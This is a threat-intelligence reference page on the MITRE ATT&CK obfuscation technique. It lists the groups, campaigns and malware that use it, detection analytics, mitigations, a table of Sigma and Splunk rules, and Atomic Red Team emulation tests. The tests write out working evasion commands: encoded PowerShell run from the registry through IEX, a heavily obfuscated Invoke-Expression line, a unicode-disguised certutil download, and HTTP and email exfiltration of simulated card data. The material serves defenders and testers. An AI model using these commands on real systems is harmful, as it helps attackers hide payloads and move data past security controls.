Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
18 groups have been recorded using this technique. Newest first; each entry carries MITRE’s procedure text and a link to the group’s full record. Click a name to filter the rules below.
Has used malware with string encryption.1 RedCurl has also encrypted data and has encoded PowerShell commands using Base64.23 RedCurl has used PyArmor to obfuscate code execution of LaZagne. 2 Additionally, RedCurl has obfuscated downloaded files by renaming them as commonly used tools and has used echo, instead of file names themselves, to execute files.4
Delivers encrypted payloads in pieces that are then combined together to form a new portable executable (PE) file during installation.1
Used Base64 to encode strings.1
Has obfuscated tools and malware it uses with VMProtect.1
Has delivered initial payloads hidden using archives and encoding measures.123456789 101112 Mustang Panda has also utilized opaque predicates in payloads to hinder analysis.13
Has used string encoding with floating point calculations.1
All 18 groups for this technique · 6 newest in this preview
4 campaigns have been recorded using this technique. Listed newest first; dates are year-granularity and attribution is MITRE’s.
During the 3CX Supply Chain Attack, AppleJeus payloads use AES-256 GCM cipher to encrypt data to include ICONICSTEALER and VEILEDSIGNAL.12
During C0015, the threat actors used Base64-encoded strings.1
During C0017, APT41 broke malicious binaries, including DEADEYE and KEYPLUG, into multiple sections on disk to evade detection.1
During the 2016 Ukraine Electric Power Attack, Sandworm Team used heavily obfuscated code with Industroyer in its Windows Notepad backdoor.1
All 4 campaigns for this technique
138 software entries are documented implementing this technique. MITRE files each as a tool or as malware; newest first, then by how many groups carry them.
Has an obfuscated function (i.e. love_me__()) that dynamically reconstructs the string WScript.Shell using hard-coded ASCII values and the Chr() function.1
Has stored its embedded payload in encrypted form within the binary, using a hardcoded key modified at runtime to produce the AES decryption key.1
Code implements anti-analysis techniques including control flow flattening and Mixed Boolean Arithmetic (MBA).1
Can use control flow flattening to help hide malicious code.12
Has used control flow flattening to obfuscate code.1
Has utilized Go libraries to include Garble to obfuscate code.12
All 138 software entries for this technique · 6 newest in this preview
Compare defenses against adversary use. Eight counts, ranking this technique against the entire ATT&CK Enterprise matrix. Attack sits left, defense right.
Technique Campaign use over its cumulative rule count.
MITRE names one behaviour worth catching for this technique and breaks it into 5 analytics, one per platform. Each carries the log sources it needs and the fields you tune per environment.
AN1064 · Windows
Correlates script execution or suspicious parent processes with creation or modification of encoded, compressed, or encrypted file formats (e.g., .zip, .7z, .enc) and abnormal command-line syntax or PowerShell obfuscation.
The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.
| Data component | Name | Channel |
|---|---|---|
| Process CreationDC0032 | WinEventLog: | EventCode= |
| File CreationDC0039 | WinEventLog: | EventCode= |
MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.
| Field | What you tune |
|---|---|
| PayloadEntropyThreshold | Tune entropy threshold to distinguish obfuscation from legitimate compression |
| TimeWindow | Adjust correlation window between script execution and encoded file creation |
| SuspiciousParentProcessList | Customize based on environment to include LOLBins or admin tools misused for obfuscation |
AN1065 · Linux
Detects use of gzip, base64, tar, or openssl in scripts or commands that encode/encrypt files after file staging or system enumeration.
The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.
| Data component | Name | Channel |
|---|---|---|
| Process CreationDC0032 | auditd: | execve |
| File ModificationDC0061 | auditd: | open, write |
| Command ExecutionDC0064 | linux: | Shell history logs |
MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.
| Field | What you tune |
|---|---|
| CommandRegex | Customize for tools seen in environment (e.g., gzip, bzip2, xz) |
| SensitivePathList | Specify file paths likely targeted for obfuscation (e.g., /etc/, /home/) |
AN1066 · macOS
Monitors use of archive or encryption tools (zip, openssl) tied to user-scripted activity or binaries writing encoded payloads under /Users or /Volumes.
The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.
| Data component | Name | Channel |
|---|---|---|
| File CreationDC0039 | macos: | file_events |
| Command ExecutionDC0064 | macos: | log stream --predicate 'processImagePath contains "zip" OR "base64"' |
MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.
| Field | What you tune |
|---|---|
| FilenameExtensionList | Tunable to identify uncommon or encrypted file formats (e.g., .enc, .b64, .xz) |
| UserContext | Tune to prioritize unexpected file access by service accounts |
AN1067 · Network Devices
Identifies transfer of base64, uuencoded, or high-entropy files over HTTP, FTP, or custom protocols in lateral movement or exfiltration streams.
The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.
| Data component | Name | Channel |
|---|---|---|
| Network Traffic ContentDC0085 | networkdevice: | content inspection / |
MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.
| Field | What you tune |
|---|---|
| EntropyThreshold | Adjust threshold to reduce false positives in compressed but benign data |
| ProtocolScope | Refine by enabling inspection of specific exfil vectors (e.g., FTP, HTTP POST) |
AN1068 · ESXi
Detects encoded PowerCLI or Base64-encoded payloads staged via datastore uploads or shell access (e.g., ESXi Shell or backdoored VIBs).
The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.
| Data component | Name | Channel |
|---|---|---|
| OS API ExecutionDC0021 | esxi: | Remote access API calls and file uploads |
| File MetadataDC0059 | esxi: | Datastore modification events |
MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.
| Field | What you tune |
|---|---|
| StagingLocation | Tune based on observed adversary paths (e.g., /vmfs/volumes/...) |
| EncodedLengthThreshold | Tune length of encoded payloads before triggering detection |
Anti-virus can be used to automatically detect and quarantine suspicious files. Consider utilizing the Antimalware Scan Interface (AMSI) on Windows 10+ to analyze commands after being processed/interpreted.
Consider periodic review of common fileless storage locations (such as the Registry or WMI repository) to potentially identify abnormal and malicious data.
On Windows 10+, enable Attack Surface Reduction (ASR) rules to prevent execution of potentially obfuscated payloads.
Ensure that a finite amount of ingress points to a software deployment system exist with restricted access for those required to allow and enable newly deployed software.
| # | Test | Platform | Executor | Elevation | Prereqs | Cleanup | Ref | |||||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 01 | Decode base64 Data into Script | macos, linux | sh | — | 1 | Yes | ||||||||||||||||||||||
Creates a base64-encoded data file and decodes it into an executable shell script
Upon successful execution, sh will execute art.sh, which is a base64 encoded command, that echoes Inputs
Attack Commandsrun with shif [ "$(uname)" = 'FreeBSD' ]; then cmd="b64decode -r"; else cmd="base64 -d"; fi; cat /tmp/encoded.dat | $cmd > /tmp/art.sh chmod +x /tmp/art.sh /tmp/art.sh Cleanup Commands rm /tmp/encoded.dat rm /tmp/art.sh Dependenciesrun with shDescription encode the command into base64 file Check Prereq Commands if [ -e "/tmp/encoded.dat" ]; then exit 0; else exit 1; fi Get Prereq Commands if [ "$(uname)" = 'FreeBSD' ]; then cmd="b64encode -r -"; else cmd="base64"; fi;
echo "#{shell_command}" | $cmd > /tmp/encoded.dat
GUIDf45df6be-2e1e-4136-a384-8f18ab3826fb | ||||||||||||||||||||||||||||
| 02 | Execute base64-encoded PowerShell | windows | powershell | — | — | — | ||||||||||||||||||||||
Creates base64-encoded PowerShell code and executes it. This is used by numerous adversaries and malicious tools. Upon successful execution, powershell will execute an encoded command and stdout default is "Write-Host "Hey, Atomic!" Inputs
Attack Commandsrun with powershell$OriginalCommand = '#{powershell_command}'
$Bytes = [System.Text.Encoding]::Unicode.GetBytes($OriginalCommand)
$EncodedCommand =[Convert]::ToBase64String($Bytes)
$EncodedCommand
powershell.exe -EncodedCommand $EncodedCommand
GUIDa50d5a97-2531-499e-a1de-5544c74432c6 | ||||||||||||||||||||||||||||
| 03 | Execute base64-encoded PowerShell from Windows Registry | windows | powershell | — | — | Yes | ||||||||||||||||||||||
Stores base64-encoded PowerShell code in the Windows Registry and deobfuscates it for execution. This is used by numerous adversaries and malicious tools. Upon successful execution, powershell will execute encoded command and read/write from the registry. Inputs
Attack Commandsrun with powershell$OriginalCommand = '#{powershell_command}'
$Bytes = [System.Text.Encoding]::Unicode.GetBytes($OriginalCommand)
$EncodedCommand =[Convert]::ToBase64String($Bytes)
$EncodedCommand
Set-ItemProperty -Force -Path #{registry_key_storage} -Name #{registry_entry_storage} -Value $EncodedCommand
powershell.exe -Command "IEX ([Text.Encoding]::UNICODE.GetString([Convert]::FromBase64String((gp #{registry_key_storage} #{registry_entry_storage}).#{registry_entry_storage})))"
Cleanup Commands Remove-ItemProperty -Force -ErrorAction Ignore -Path #{registry_key_storage} -Name #{registry_entry_storage}
GUID450e7218-7915-4be4-8b9b-464a49eafcec | ||||||||||||||||||||||||||||
| 04 | Execution from Compressed File | windows | command_prompt | — | 1 | Yes | ||||||||||||||||||||||
Mimic execution of compressed executable. When successfully executed, calculator.exe will open. Inputs
Attack Commandsrun with command_prompt"PathToAtomicsFolder\..\ExternalPayloads\temp_T1027.zip\T1027.exe" Cleanup Commands taskkill /f /im calculator.exe >nul 2>nul taskkill /f /im CalculatorApp.exe >nul 2>nul Dependenciesrun with powershellDescription T1027.exe must exist on disk at PathToAtomicsFolder\..\ExternalPayloads\temp_T1027.zip\T1027.exe Check Prereq Commands if (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\temp_T1027.zip\T1027.exe") {exit 0} else {exit 1}
Get Prereq Commands [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
Invoke-WebRequest "#{url_path}" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\T1027.zip"
Expand-Archive -path "PathToAtomicsFolder\..\ExternalPayloads\T1027.zip" -DestinationPath "PathToAtomicsFolder\..\ExternalPayloads\temp_T1027.zip\" -Force
GUIDf8c8a909-5f29-49ac-9244-413936ce6d1f | ||||||||||||||||||||||||||||
| 05 | DLP Evasion via Sensitive Data in VBA Macro over email | windows | powershell | — | — | — | ||||||||||||||||||||||
Upon successful execution, an excel containing VBA Macro containing sensitive data will be sent outside the network using email. Sensitive data includes about around 20 odd simulated credit card numbers that passes the LUHN check. Inputs
Attack Commandsrun with powershellSend-MailMessage -From #{sender} -To #{receiver} -Subject 'T1027_Atomic_Test' -Attachments "#{input_file}" -SmtpServer #{smtp_server}
GUID129edb75-d7b8-42cd-a8ba-1f3db64ec4ad | ||||||||||||||||||||||||||||
| 06 | DLP Evasion via Sensitive Data in VBA Macro over HTTP | windows | powershell | — | — | — | ||||||||||||||||||||||
Upon successful execution, an excel containing VBA Macro containing sensitive data will be sent outside the network using HTTP. Sensitive data includes about around 20 odd simulated credit card numbers that passes the LUHN check. Inputs
Attack Commandsrun with powershellInvoke-WebRequest -Uri #{ip_address} -Method POST -Body "#{input_file}"
GUIDe2d85e66-cb66-4ed7-93b1-833fc56c9319 | ||||||||||||||||||||||||||||
| 07 | Obfuscated Command in PowerShell | windows | powershell | — | — | — | ||||||||||||||||||||||
This is an obfuscated PowerShell command which when executed prints "Hello, from PowerShell!". Example is from the 2021 Threat Detection Report by Red Canary. Attack Commandsrun with powershell$cmDwhy =[TyPe]("{0}{1}" -f 'S','TrING') ; $pz2Sb0 =[TYpE]("{1}{0}{2}"-f'nv','cO','ert') ; &("{0}{2}{3}{1}{4}" -f'In','SiO','vOKe-EXp','ReS','n') ( (&("{1}{2}{0}"-f'blE','gET-','vaRIA') ('CMdw'+'h'+'y'))."v`ALUe"::("{1}{0}" -f'iN','jO').Invoke('',( (127, 162,151, 164,145 ,55 , 110 ,157 ,163 , 164 ,40,47, 110 , 145 ,154, 154 ,157 , 54 ,40, 146, 162 , 157,155 ,40, 120, 157 ,167,145 , 162 ,123,150 ,145 , 154 , 154 , 41,47)| .('%') { ( [CHAR] ( $Pz2sB0::"t`OinT`16"(( [sTring]${_}) ,8)))})) )
GUID8b3f4ed6-077b-4bdd-891c-2d237f19410f | ||||||||||||||||||||||||||||
| 08 | Obfuscated Command Line using special Unicode characters | windows | manual | — | — | — | ||||||||||||||||||||||
This is an obfuscated certutil command that when executed downloads a file from the web. Adapted from T1105. Obfuscation includes special options chars (unicode hyphens), character substitution (e.g. ᶠ) and character insertion (including the usage of the right-to-left 0x202E and left-to-right 0x202D override characters). Reference: https://wietze.github.io/blog/windows-command-line-obfuscation Inputs
Run it with these steps 1. Copy the following command into the command prompt after replacing #{remote_file} and #{local_path} with your desired URL and filename. certutil —ૹu૰rlࢰcac෯he –split −"൏ᶠ൸" #{remote_file} #{local_path} 2. Press enter to execute the command. You will find the file or webpage you specified saved to the file you specified in the command. GUIDe68b945c-52d0-4dd9-a5e8-d173d70c448f | ||||||||||||||||||||||||||||
| 09 | Snake Malware Encrypted crmlog file | windows | powershell | Required | — | Yes | ||||||||||||||||||||||
The following Atomic Test will create a file with a specific name and sets its attributes to Hidden, System, and Archive. This was related to the Snake Malware campaign and is later decrypted by Snake's kernel driver. Snake Malware - CISA Attack Commandsrun with powershellelevation required (root or admin)$file = New-Item $env:windir\registration\04e53197-72be-4dd8-88b1-533fe6eed577.04e53197-72be-4dd8-88b1-533fe6eed577.crmlog; $file.Attributes = 'Hidden', 'System', 'Archive'; Write-Host "File created: $($file.FullName)" Cleanup Commands $fileNameToDelete = '04e53197-72be-4dd8-88b1-533fe6eed577.04e53197-72be-4dd8-88b1-533fe6eed577.crmlog'; $filePathToDelete = "$env:windir\registration\"; $fullPathToDelete = Join-Path $filePathToDelete $fileNameToDelete; if (Test-Path $fullPathToDelete) { Remove-Item -Path $fullPathToDelete -Force; Write-Host "File deleted: $fullPathToDelete" } else { Write-Host "File not found: $fullPathToDelete" }
GUID7e47ee60-9dd1-4269-9c4f-97953b183268 | ||||||||||||||||||||||||||||
| 10 | Execution from Compressed JScript File | windows | command_prompt | — | 1 | Yes | ||||||||||||||||||||||
Mimic execution of compressed JavaScript file. When successfully executed, calculator.exe will open. This test is meant to help emulate Gootloader as per https://redcanary.com/blog/gootloader/ Inputs
Attack Commandsrun with command_prompt"PathToAtomicsFolder\..\ExternalPayloads\temp_T1027js.zip\T1027js.js" Cleanup Commands taskkill /f /im calculator.exe >nul 2>nul Dependenciesrun with powershellDescription T1027.js must exist on disk at PathToAtomicsFolder\..\ExternalPayloads\temp_T1027js.zip\T1027js.js Check Prereq Commands if (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\temp_T1027js.zip\T1027js.js") {exit 0} else {exit 1}
Get Prereq Commands New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
Invoke-WebRequest "#{url_path}" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\T1027js.zip"
Expand-Archive -path "PathToAtomicsFolder\..\ExternalPayloads\T1027js.zip" -DestinationPath "PathToAtomicsFolder\..\ExternalPayloads\temp_T1027js.zip\" -Force
GUIDfad04df1-5229-4185-b016-fb6010cd87ac | ||||||||||||||||||||||||||||
| 11 | Obfuscated PowerShell Command via Character Array | windows | powershell | — | — | Yes | ||||||||||||||||||||||
Spawns a child PowerShell process using character array obfuscation. Both the PowerShell binary name and executed command are constructed from ASCII values at runtime to evade string-based detection. Attack Commandsrun with powershell$ps = [char[]](112,111,119,101,114,115,104,101,108,108) $cmd = [char[]](83,116,97,114,116,45,80,114,111,99,101,115,115,32,99,97,108,99,46,101,120,101) & (-join $ps) "-Command" (-join $cmd) Cleanup Commands taskkill /f /im calculator.exe >nul 2>nul taskkill /f /im CalculatorApp.exe >nul 2>nul GUID6683baf0-6e77-4f58-b114-814184ea8150 | ||||||||||||||||||||||||||||
Tests from Atomic Red Team (MIT licence) · technique definition
117 rules are mapped to this technique.
| Select | Title | Description | Category | Status | Event | OS | Product | MITRE ATT&CK | CVEs | Severity | Author | Created | Updated | ID | Refs |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
Detects usage of the "FromBase64String" function in the commandline which is used to decode a base64 (...) | Generic | test | process_creation | windows | Sysmon · WinEventLog Security | - | high | Florian Roth (Nextron Systems) | 2020-01-29 | 2023-01-26 | e32d4572-9826-4738-b651-95fa63747e8a | ||||
Detects the execution of the certutil with the "exportPFX" flag which allows the utility to export certificates. | Generic | test | process_creation | windows | Sysmon · WinEventLog Security | - | medium | Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community, Nasreddine Bencherchali (Nextron Systems) | 2023-02-15 | 2024-03-05 | 3ffd6f51-e6c1-47b7-94b4-c1e61d4117c5 | ||||
Splunk | This analytic detects Lumma Stealer activity using Cisco Secure Firewall Intrusion Events. (...) | Generic | stable | firewall | - | Cisco Secure Firewall · Cisco | - | medium | Nasreddine Bencherchali, Splunk, Talos NTDR | 2025-04-16 | 2026-05-13 | 96bce783-c22e-4e48-8cf1-3eb2794c5083 | |||
Splunk | The following analytic detects repeated malware file downloads initiated by the same internal host (src) within a short time window. (...) | Anomaly | stable | firewall | - | Cisco Secure Firewall · Cisco | - | medium | Nasreddine Bencherchali, Splunk | 2025-04-09 | 2026-09-22 | aeff2bb5-3483-48d4-9be8-c8976194be1e | |||
Splunk | This analytic identifies Snort intrusion signatures that have been triggered by ten or more distinct internal IP addresses within a one-hour window. (...) | Anomaly | stable | firewall | - | Cisco Secure Firewall · Cisco | - | medium | Nasreddine Bencherchali, Splunk | 2025-04-16 | 2026-05-13 | a4c76d0a-56b6-44be-814b-939746c4d406 | |||
Detects usage of the "ConvertTo-SecureString" cmdlet via the commandline. (...) | Generic | test | process_creation | windows | Sysmon · WinEventLog Security | - | medium | Teymur Kheirkhabarov (idea), Vasiliy Burov (rule), oscd.community, Tim Shelton | 2020-10-11 | 2023-02-01 | 74403157-20f5-415d-89a7-c505779585cf | ||||
Splunk | The following analytic detects the execution of the curl utility where the command line includes percent-encoded characters and explicit file output options (such as -o or --output). (...) | Anomaly | stable | process_creation | windows · linux | CrowdStrike · Sysmon · WinEventLog Security | - | medium | Nasreddine Bencherchali, Splunk | 2026-03-03 | 2026-05-13 | 9a8d5516-4c5e-11ef-9d42-acde48001122 | |||
Detects usage of base64 utility to decode arbitrary base64-encoded text | Generic | test | process_creation | linux | Sysmon | - | low | Daniil Yugoslavskiy, oscd.community | 2020-10-19 | 2021-11-27 | e2072cab-8c9a-459b-b63c-40ae79e27031 | ||||
Detects usage of base64 utility to decode arbitrary base64-encoded text | Generic | test | process_creation | macos | - | - | low | Daniil Yugoslavskiy, oscd.community | 2020-10-19 | 2022-11-26 | 719c22d7-c11a-4f2c-93a6-2cfdd5412f68 | ||||
Detects the execution of certutil with either the "decode" or "decodehex" flags to decode base64 or hex encoded files. (...) | Generic | test | process_creation | windows | Sysmon · WinEventLog Security | - | high | Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community | 2023-02-15 | 2025-06-04 | cc9cbe82-7bc0-4ef5-bc23-bbfb83947be7 | ||||
Detects the execution of certutil with the "encode" flag to encode a file to base64. (...) | Generic | test | process_creation | windows | Sysmon · WinEventLog Security | - | medium | Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community, Nasreddine Bencherchali (Nextron Systems) | 2019-02-24 | 2024-03-05 | e62a9f0c-ca1e-46b2-85d5-a6da77f86d1a | ||||
Detects the execution of certutil with the "encode" flag to encode a file to base64 where the files (...) | Generic | test | process_creation | windows | Sysmon · WinEventLog Security | - | high | Nasreddine Bencherchali (Nextron Systems) | 2023-05-15 | 2024-03-05 | 82a6714f-4899-4f16-9c1e-9a333544d4c3 | ||||
Detects Obfuscated use of Clip.exe to execute PowerShell | Unsupported | unsupported | driver_load | windows | Sysmon | - | high | Jonathan Cheong, oscd.community | 2020-10-13 | 2021-09-16 | 21e4b3c1-4985-4aa4-a6c0-f8639590a5f3 | ||||
Detects Obfuscated use of Clip.exe to execute PowerShell | Generic | test | process_creation | windows | Sysmon · WinEventLog Security | - | high | Jonathan Cheong, oscd.community | 2020-10-13 | 2022-11-17 | b222df08-0e07-11eb-adc1-0242ac120002 | ||||
Detects Obfuscated use of Clip.exe to execute PowerShell | Generic | test | ps_script | windows | PowerShell | - | high | Jonathan Cheong, oscd.community | 2020-10-13 | 2024-04-05 | 73e67340-0d25-11eb-adc1-0242ac120002 | ||||
Detects Obfuscated use of Clip.exe to execute PowerShell | Generic | test | ps_module | windows | PowerShell | - | high | Jonathan Cheong, oscd.community | 2020-10-13 | 2024-04-05 | a136cde0-61ad-4a61-9b82-8dc490e60dd2 | ||||
Detects Obfuscated use of Clip.exe to execute PowerShell | Generic | test | service | windows | WinEventLog Security | - | high | Jonathan Cheong, oscd.community | 2020-10-13 | 2022-11-27 | 4edf51e1-cb83-4e1a-bc39-800e396068e3 | ||||
Detects Obfuscated use of Clip.exe to execute PowerShell | Generic | test | service | windows | WinEventLog System | - | high | Jonathan Cheong, oscd.community | 2020-10-13 | 2023-02-20 | f7385ee2-0e0c-11eb-adc1-0242ac120002 | ||||
Detects Obfuscated Powershell via COMPRESS OBFUSCATION | Generic | test | process_creation | windows | Sysmon · WinEventLog Security | - | medium | Timur Zinniatullin, oscd.community | 2020-10-18 | 2022-12-29 | 7eedcc9d-9fdb-4d94-9c54-474e8affc0c7 | ||||
Detects Obfuscated Powershell via COMPRESS OBFUSCATION | Unsupported | unsupported | driver_load | windows | Sysmon | - | medium | Timur Zinniatullin, oscd.community | 2020-10-18 | 2023-03-04 | c70731dd-0097-40ff-b112-f7032f29c16c | ||||
Detects Obfuscated Powershell via COMPRESS OBFUSCATION | Generic | test | ps_script | windows | PowerShell | - | medium | Timur Zinniatullin, oscd.community | 2020-10-18 | 2022-11-29 | 20e5497e-331c-4cd5-8d36-935f6e2a9a07 | ||||
Detects Obfuscated Powershell via COMPRESS OBFUSCATION | Generic | test | ps_module | windows | PowerShell | - | medium | Timur Zinniatullin, oscd.community | 2020-10-18 | 2022-11-29 | 7034cbbb-cc55-4dc2-8dad-36c0b942e8f1 | ||||
Detects Obfuscated Powershell via COMPRESS OBFUSCATION | Generic | test | service | windows | WinEventLog Security | - | medium | Timur Zinniatullin, oscd.community | 2020-10-18 | 2022-11-29 | 7a922f1b-2635-4d6c-91ef-af228b198ad3 | ||||
Detects Obfuscated Powershell via COMPRESS OBFUSCATION | Generic | test | service | windows | WinEventLog System | - | medium | Timur Zinniatullin, oscd.community | 2020-10-18 | 2022-11-29 | 175997c5-803c-4b08-8bb0-70b099f47595 | ||||
Detects all variations of obfuscated powershell IEX invocation code generated by Invoke-Obfuscation (...) | Generic | test | process_creation | windows | Sysmon · WinEventLog Security | - | high | Daniel Bohannon (@Mandiant/@FireEye), oscd.community | 2019-11-08 | 2026-03-16 | 4bf943c6-5146-4273-98dd-e958fd1e3abf | ||||
Detects all variations of obfuscated powershell IEX invocation code generated by Invoke-Obfuscation (...) | Unsupported | unsupported | driver_load | windows | Sysmon | - | high | Daniel Bohannon (@Mandiant/@FireEye), oscd.community | 2019-11-08 | 2022-07-07 | e75c48bd-3434-4d61-94b7-ddfaa2c08487 | ||||
Detects all variations of obfuscated powershell IEX invocation code generated by Invoke-Obfuscation (...) | Generic | test | ps_script | windows | PowerShell | - | high | Daniel Bohannon (@Mandiant/@FireEye), oscd.community | 2019-11-08 | 2022-12-31 | 1b9dc62e-6e9e-42a3-8990-94d7a10007f7 | ||||
Detects all variations of obfuscated powershell IEX invocation code generated by Invoke-Obfuscation (...) | Generic | test | ps_module | windows | PowerShell | - | high | Daniel Bohannon (@Mandiant/@FireEye), oscd.community | 2019-11-08 | 2022-12-31 | 2f211361-7dce-442d-b78a-c04039677378 | ||||
Detects all variations of obfuscated powershell IEX invocation code generated by Invoke-Obfuscation (...) | Generic | test | service | windows | WinEventLog Security | - | high | Daniel Bohannon (@Mandiant/@FireEye), oscd.community | 2019-11-08 | 2022-11-27 | fd0f5778-d3cb-4c9a-9695-66759d04702a | ||||
Detects all variations of obfuscated powershell IEX invocation code generated by Invoke-Obfuscation (...) | Generic | test | service | windows | WinEventLog System | - | high | Daniel Bohannon (@Mandiant/@FireEye), oscd.community | 2019-11-08 | 2022-11-27 | 51aa9387-1c53-4153-91cc-d73c59ae1ca9 | ||||
Detects Obfuscated Powershell via RUNDLL LAUNCHER | Unsupported | unsupported | driver_load | windows | Sysmon | - | medium | Timur Zinniatullin, oscd.community | 2020-10-18 | 2022-03-08 | 03b024c6-aad1-4da5-9f60-e9e8c00fa64c | ||||
Detects Obfuscated Powershell via RUNDLL LAUNCHER | Generic | test | ps_script | windows | PowerShell | - | medium | Timur Zinniatullin, oscd.community | 2020-10-18 | 2022-11-29 | e6cb92b4-b470-4eb8-8a9d-d63e8583aae0 | ||||
Detects Obfuscated Powershell via RUNDLL LAUNCHER | Generic | test | ps_module | windows | PowerShell | - | medium | Timur Zinniatullin, oscd.community | 2020-10-18 | 2022-11-29 | a23791fe-8846-485a-b16b-ca691e1b03d4 | ||||
Detects Obfuscated Powershell via RUNDLL LAUNCHER | Generic | test | service | windows | WinEventLog Security | - | medium | Timur Zinniatullin, oscd.community | 2020-10-18 | 2022-11-29 | f241cf1b-3a6b-4e1a-b4f9-133c00dd95ca | ||||
Detects Obfuscated Powershell via RUNDLL LAUNCHER | Generic | test | service | windows | WinEventLog System | - | medium | Timur Zinniatullin, oscd.community | 2020-10-18 | 2022-11-29 | 11b52f18-aaec-4d60-9143-5dd8cc4706b9 | ||||
Detects Obfuscated use of stdin to execute PowerShell | Generic | test | process_creation | windows | Sysmon · WinEventLog Security | - | high | Jonathan Cheong, oscd.community | 2020-10-15 | 2024-04-15 | 6c96fc76-0eb1-11eb-adc1-0242ac120002 | ||||
Detects Obfuscated use of stdin to execute PowerShell | Unsupported | unsupported | driver_load | windows | Sysmon | - | high | Jonathan Cheong, oscd.community | 2020-10-15 | 2021-09-17 | de7fb680-6efa-4bf3-af2c-14b6d33c8e6e | ||||
Detects Obfuscated use of stdin to execute PowerShell | Generic | test | ps_script | windows | PowerShell | - | high | Jonathan Cheong, oscd.community | 2020-10-15 | 2024-04-05 | 779c8c12-0eb1-11eb-adc1-0242ac120002 | ||||
Detects Obfuscated use of stdin to execute PowerShell | Generic | test | ps_module | windows | PowerShell | - | high | Jonathan Cheong, oscd.community | 2020-10-15 | 2024-04-05 | 9ac8b09b-45de-4a07-9da1-0de8c09304a3 | ||||
Detects Obfuscated use of stdin to execute PowerShell | Generic | test | service | windows | WinEventLog Security | - | high | Jonathan Cheong, oscd.community | 2020-10-15 | 2022-11-29 | 0c718a5e-4284-4fb9-b4d9-b9a50b3a1974 | ||||
Detects Obfuscated use of stdin to execute PowerShell | Generic | test | service | windows | WinEventLog System | - | high | Jonathan Cheong, oscd.community | 2020-10-15 | 2022-11-29 | 72862bf2-0eb1-11eb-adc1-0242ac120002 | ||||
Detects Obfuscated use of Environment Variables to execute PowerShell | Generic | test | process_creation | windows | Sysmon · WinEventLog Security | - | high | Jonathan Cheong, oscd.community | 2020-10-15 | 2024-04-15 | 27aec9c9-dbb0-4939-8422-1742242471d0 | ||||
Detects Obfuscated use of Environment Variables to execute PowerShell | Unsupported | unsupported | driver_load | windows | Sysmon | - | high | Jonathan Cheong, oscd.community | 2020-10-15 | 2021-09-17 | 3e27b010-2cf2-4577-8ef0-3ea44aaea0dc | ||||
Detects Obfuscated use of Environment Variables to execute PowerShell | Generic | test | ps_script | windows | PowerShell | - | high | Jonathan Cheong, oscd.community | 2020-10-15 | 2024-04-05 | 0adfbc14-0ed1-11eb-adc1-0242ac120002 | ||||
Detects Obfuscated use of Environment Variables to execute PowerShell | Generic | test | ps_module | windows | PowerShell | - | high | Jonathan Cheong, oscd.community | 2020-10-15 | 2024-04-05 | 6bfb8fa7-b2e7-4f6c-8d9d-824e5d06ea9e | ||||
Detects Obfuscated use of Environment Variables to execute PowerShell | Generic | test | service | windows | WinEventLog Security | - | high | Jonathan Cheong, oscd.community | 2020-10-15 | 2022-11-29 | dcf2db1f-f091-425b-a821-c05875b8925a | ||||
Detects Obfuscated use of Environment Variables to execute PowerShell | Generic | test | service | windows | WinEventLog System | - | high | Jonathan Cheong, oscd.community | 2020-10-15 | 2022-11-29 | 8ca7004b-e620-4ecb-870e-86129b5b8e75 | ||||
Detects Obfuscated Powershell via VAR++ LAUNCHER | Unsupported | unsupported | driver_load | windows | Sysmon | - | high | Timur Zinniatullin, oscd.community | 2020-10-13 | 2021-09-18 | 7b9a650e-6788-4fdf-888d-ec7c0a62810d | ||||
Detects Obfuscated Powershell via VAR++ LAUNCHER | Generic | test | process_creation | windows | Sysmon · WinEventLog Security | - | high | Timur Zinniatullin, oscd.community | 2020-10-13 | 2022-11-16 | e9f55347-2928-4c06-88e5-1a7f8169942e | ||||
Detects Obfuscated Powershell via VAR++ LAUNCHER | Generic | test | ps_script | windows | PowerShell | - | high | Timur Zinniatullin, oscd.community | 2020-10-13 | 2024-04-05 | e54f5149-6ba3-49cf-b153-070d24679126 | ||||
Detects Obfuscated Powershell via VAR++ LAUNCHER | Generic | test | ps_module | windows | PowerShell | - | high | Timur Zinniatullin, oscd.community | 2020-10-13 | 2024-04-05 | f3c89218-8c3d-4ba9-9974-f1d8e6a1b4a6 | ||||
Detects Obfuscated Powershell via VAR++ LAUNCHER | Generic | test | service | windows | WinEventLog Security | - | high | Timur Zinniatullin, oscd.community | 2020-10-13 | 2022-11-29 | 4c54ba8f-73d2-4d40-8890-d9cf1dca3d30 | ||||
Detects Obfuscated Powershell via VAR++ LAUNCHER | Generic | test | service | windows | WinEventLog System | - | high | Timur Zinniatullin, oscd.community | 2020-10-13 | 2022-11-29 | 14bcba49-a428-42d9-b943-e2ce0f0f7ae6 | ||||
